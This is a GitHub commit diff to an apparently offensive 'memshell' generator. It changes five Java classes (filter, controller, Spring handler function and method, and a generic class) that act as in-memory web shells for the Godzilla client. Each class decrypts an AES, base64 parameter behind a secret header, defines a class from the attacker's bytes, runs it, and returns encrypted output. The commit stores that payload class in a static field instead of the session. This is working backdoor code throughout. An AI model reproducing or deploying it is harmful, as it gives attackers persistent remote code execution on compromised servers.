Skip to content

Commit 4563a97

Browse files
ReaJasonReaJason
committed
perf: remove session for godzilla
1 parent eb92c2c commit 4563a97

14 files changed

+514
-246
lines changed

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java‎

Lines changed: 44 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package com.reajason.javaweb.memshell.shelltool.godzilla;
22

33
import java.io.ByteArrayOutputStream;
4+
import java.io.PrintStream;
45
import java.io.PrintWriter;
56
import java.lang.reflect.Constructor;
67
import java.lang.reflect.Field;
@@ -11,11 +12,12 @@
1112
* @author ReaJason
1213
*/
1314
public class Godzilla extends ClassLoader {
14-
public static String key;
15-
public static String pass;
16-
public static String md5;
17-
public static String headerName;
18-
public static String headerValue;
15+
private static String key;
16+
private static String pass;
17+
private static String md5;
18+
private static String headerName;
19+
private static String headerValue;
20+
private static Class<?> payload;
1921

2022
public Godzilla() {
2123
}
@@ -32,24 +34,27 @@ public boolean equals(Object obj) {
3234
try {
3335
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
3436
if (value != null && value.contains(headerValue)) {
35-
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
36-
byte[] data = base64Decode(parameter);
37-
data = this.x(data, false);
38-
Object session = request.getClass().getMethod("getSession").invoke(request);
39-
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
40-
if (cache == null) {
41-
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new Godzilla(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
42-
} else {
43-
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
44-
Object f = ((Class<?>) cache).newInstance();
45-
f.equals(arrOut);
46-
f.equals(request);
47-
f.equals(data);
48-
f.toString();
49-
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
50-
writer.write(md5.substring(0, 16));
51-
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
52-
writer.write(md5.substring(16));
37+
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
38+
try {
39+
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
40+
byte[] data = base64Decode(parameter);
41+
data = this.x(data, false);
42+
if (payload == null) {
43+
payload = new Godzilla(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
44+
} else {
45+
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
46+
Object f = payload.newInstance();
47+
f.equals(arrOut);
48+
f.equals(request);
49+
f.equals(data);
50+
f.toString();
51+
writer.write(md5.substring(0, 16));
52+
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
53+
writer.write(md5.substring(16));
54+
}
55+
} catch (Throwable e) {
56+
e.printStackTrace();
57+
writer.write(getErrorMessage(e));
5358
}
5459
return true;
5560
}
@@ -117,6 +122,21 @@ public static Object getFieldValue(Object obj, String name) throws Exception {
117122
clazz = clazz.getSuperclass();
118123
}
119124
}
120-
throw new NoSuchFieldException();
125+
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
126+
}
127+
128+
@SuppressWarnings("all")
129+
private String getErrorMessage(Throwable throwable) {
130+
PrintStream printStream = null;
131+
try {
132+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
133+
printStream = new PrintStream(outputStream);
134+
throwable.printStackTrace(printStream);
135+
return outputStream.toString();
136+
} finally {
137+
if (printStream != null) {
138+
printStream.close();
139+
}
140+
}
121141
}
122142
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java‎

Lines changed: 43 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -7,19 +7,21 @@
77
import javax.crypto.spec.SecretKeySpec;
88
import javax.servlet.http.HttpServletRequest;
99
import javax.servlet.http.HttpServletResponse;
10-
import javax.servlet.http.HttpSession;
1110
import java.io.ByteArrayOutputStream;
11+
import java.io.PrintStream;
12+
import java.io.PrintWriter;
1213

1314
/**
1415
* @author ReaJason
1516
* @since 2024/12/22
1617
*/
1718
public class GodzillaControllerHandler extends ClassLoader implements Controller {
18-
public static String key;
19-
public static String pass;
20-
public static String md5;
21-
public static String headerName;
22-
public static String headerValue;
19+
private static String key;
20+
private static String pass;
21+
private static String md5;
22+
private static String headerName;
23+
private static String headerValue;
24+
private static Class<?> payload;
2325

2426
public GodzillaControllerHandler() {
2527
}
@@ -31,22 +33,26 @@ public GodzillaControllerHandler(ClassLoader parent) {
3133
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
3234
try {
3335
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
34-
HttpSession session = request.getSession();
35-
byte[] data = base64Decode(request.getParameter(pass));
36-
data = this.x(data, false);
37-
Object cache = session.getAttribute(key);
38-
if (cache == null) {
39-
session.setAttribute(key, (new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
40-
} else {
41-
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
42-
Object f = ((Class<?>) cache).newInstance();
43-
f.equals(arrOut);
44-
f.equals(request);
45-
f.equals(data);
46-
f.toString();
47-
response.getWriter().write(md5.substring(0, 16));
48-
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
49-
response.getWriter().write(md5.substring(16));
36+
PrintWriter writer = response.getWriter();
37+
try {
38+
byte[] data = base64Decode(request.getParameter(pass));
39+
data = this.x(data, false);
40+
if (payload == null) {
41+
payload = new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
42+
} else {
43+
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
44+
Object f = payload.newInstance();
45+
f.equals(arrOut);
46+
f.equals(request);
47+
f.equals(data);
48+
f.toString();
49+
writer.write(md5.substring(0, 16));
50+
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
51+
writer.write(md5.substring(16));
52+
}
53+
} catch (Throwable e) {
54+
e.printStackTrace();
55+
writer.write(getErrorMessage(e));
5056
}
5157
}
5258
} catch (Throwable e) {
@@ -83,4 +89,19 @@ public byte[] x(byte[] s, boolean m) throws Exception {
8389
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
8490
return c.doFinal(s);
8591
}
92+
93+
@SuppressWarnings("all")
94+
private String getErrorMessage(Throwable throwable) {
95+
PrintStream printStream = null;
96+
try {
97+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
98+
printStream = new PrintStream(outputStream);
99+
throwable.printStackTrace(printStream);
100+
return outputStream.toString();
101+
} finally {
102+
if (printStream != null) {
103+
printStream.close();
104+
}
105+
}
106+
}
86107
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java‎

Lines changed: 43 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -5,19 +5,21 @@
55
import javax.servlet.*;
66
import javax.servlet.http.HttpServletRequest;
77
import javax.servlet.http.HttpServletResponse;
8-
import javax.servlet.http.HttpSession;
98
import java.io.ByteArrayOutputStream;
109
import java.io.IOException;
10+
import java.io.PrintStream;
11+
import java.io.PrintWriter;
1112

1213
/**
1314
* @author ReaJason
1415
*/
1516
public class GodzillaFilter extends ClassLoader implements Filter {
16-
public static String key;
17-
public static String pass;
18-
public static String md5;
19-
public static String headerName;
20-
public static String headerValue;
17+
private static String key;
18+
private static String pass;
19+
private static String md5;
20+
private static String headerName;
21+
private static String headerValue;
22+
private static Class<?> payload;
2123

2224
public GodzillaFilter() {
2325
}
@@ -33,22 +35,26 @@ public void doFilter(ServletRequest servletRequest, ServletResponse servletRespo
3335
HttpServletResponse response = (HttpServletResponse) servletResponse;
3436
try {
3537
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
36-
HttpSession session = request.getSession();
37-
byte[] data = base64Decode(request.getParameter(pass));
38-
data = this.x(data, false);
39-
Object cache = session.getAttribute(key);
40-
if (cache == null) {
41-
session.setAttribute(key, (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data));
42-
} else {
43-
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
44-
Object f = ((Class<?>) cache).newInstance();
45-
f.equals(arrOut);
46-
f.equals(request);
47-
f.equals(data);
48-
f.toString();
49-
response.getWriter().write(md5.substring(0, 16));
50-
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
51-
response.getWriter().write(md5.substring(16));
38+
PrintWriter writer = response.getWriter();
39+
try {
40+
byte[] data = base64Decode(request.getParameter(pass));
41+
data = this.x(data, false);
42+
if (payload == null) {
43+
payload = new GodzillaFilter(Thread.currentThread().getContextClassLoader()).Q(data);
44+
} else {
45+
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
46+
Object f = payload.newInstance();
47+
f.equals(arrOut);
48+
f.equals(request);
49+
f.equals(data);
50+
f.toString();
51+
writer.write(md5.substring(0, 16));
52+
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
53+
writer.write(md5.substring(16));
54+
}
55+
} catch (Throwable e) {
56+
e.printStackTrace();
57+
writer.write(getErrorMessage(e));
5258
}
5359
return;
5460
}
@@ -105,6 +111,21 @@ public byte[] x(byte[] s, boolean m) {
105111
}
106112
}
107113

114+
@SuppressWarnings("all")
115+
private String getErrorMessage(Throwable throwable) {
116+
PrintStream printStream = null;
117+
try {
118+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
119+
printStream = new PrintStream(outputStream);
120+
throwable.printStackTrace(printStream);
121+
return outputStream.toString();
122+
} finally {
123+
if (printStream != null) {
124+
printStream.close();
125+
}
126+
}
127+
}
128+
108129
@Override
109130
public void init(FilterConfig filterConfig) throws ServletException {
110131
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java‎

Lines changed: 24 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -8,18 +8,19 @@
88
import javax.crypto.Cipher;
99
import javax.crypto.spec.SecretKeySpec;
1010
import java.io.ByteArrayOutputStream;
11+
import java.io.PrintStream;
1112

1213
/**
1314
* @author ReaJason
1415
* @since 2024/12/25
1516
*/
1617
public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> {
17-
public static String key;
18-
public static String pass;
19-
public static String md5;
20-
public static String headerName;
21-
public static String headerValue;
22-
public Class<?> payload;
18+
private static String key;
19+
private static String pass;
20+
private static String md5;
21+
private static String headerName;
22+
private static String headerValue;
23+
private static Class<?> payload;
2324

2425
public GodzillaHandlerFunction() {
2526
}
@@ -43,7 +44,7 @@ public Mono<ServerResponse> handle(ServerRequest request) {
4344
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
4445
} else {
4546
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
46-
Object f = payload.getDeclaredConstructor().newInstance();
47+
Object f = payload.newInstance();
4748
f.equals(arrOut);
4849
f.equals(data);
4950
f.equals(request);
@@ -54,6 +55,7 @@ public Mono<ServerResponse> handle(ServerRequest request) {
5455
}
5556
} catch (Throwable ex) {
5657
ex.printStackTrace();
58+
result.append(getErrorMessage(ex));
5759
}
5860
return Mono.just(result.toString());
5961
});
@@ -88,4 +90,19 @@ public byte[] x(byte[] s, boolean m) throws Exception {
8890
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
8991
return c.doFinal(s);
9092
}
93+
94+
@SuppressWarnings("all")
95+
private String getErrorMessage(Throwable throwable) {
96+
PrintStream printStream = null;
97+
try {
98+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
99+
printStream = new PrintStream(outputStream);
100+
throwable.printStackTrace(printStream);
101+
return outputStream.toString();
102+
} finally {
103+
if (printStream != null) {
104+
printStream.close();
105+
}
106+
}
107+
}
91108
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java‎

Lines changed: 23 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -7,18 +7,19 @@
77
import javax.crypto.Cipher;
88
import javax.crypto.spec.SecretKeySpec;
99
import java.io.ByteArrayOutputStream;
10+
import java.io.PrintStream;
1011

1112
/**
1213
* @author ReaJason
1314
* @since 2024/12/25
1415
*/
1516
public class GodzillaHandlerMethod extends ClassLoader {
16-
public static String key;
17-
public static String pass;
18-
public static String md5;
19-
public static String headerName;
20-
public static String headerValue;
21-
public Class<?> payload;
17+
private static String key;
18+
private static String pass;
19+
private static String md5;
20+
private static String headerName;
21+
private static String headerValue;
22+
private static Class<?> payload;
2223

2324
public GodzillaHandlerMethod() {
2425
}
@@ -52,7 +53,7 @@ public ResponseEntity<?> invoke(ServerWebExchange exchange) {
5253
}
5354
} catch (Throwable ex) {
5455
ex.printStackTrace();
55-
result.append(ex.getMessage());
56+
result.append(getErrorMessage(ex));
5657
}
5758
return Mono.just(result.toString());
5859
});
@@ -86,4 +87,19 @@ public byte[] x(byte[] s, boolean m) throws Exception {
8687
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
8788
return c.doFinal(s);
8889
}
90+
91+
@SuppressWarnings("all")
92+
private String getErrorMessage(Throwable throwable) {
93+
PrintStream printStream = null;
94+
try {
95+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
96+
printStream = new PrintStream(outputStream);
97+
throwable.printStackTrace(printStream);
98+
return outputStream.toString();
99+
} finally {
100+
if (printStream != null) {
101+
printStream.close();
102+
}
103+
}
104+
}
89105
}

0 commit comments

Comments
 (0)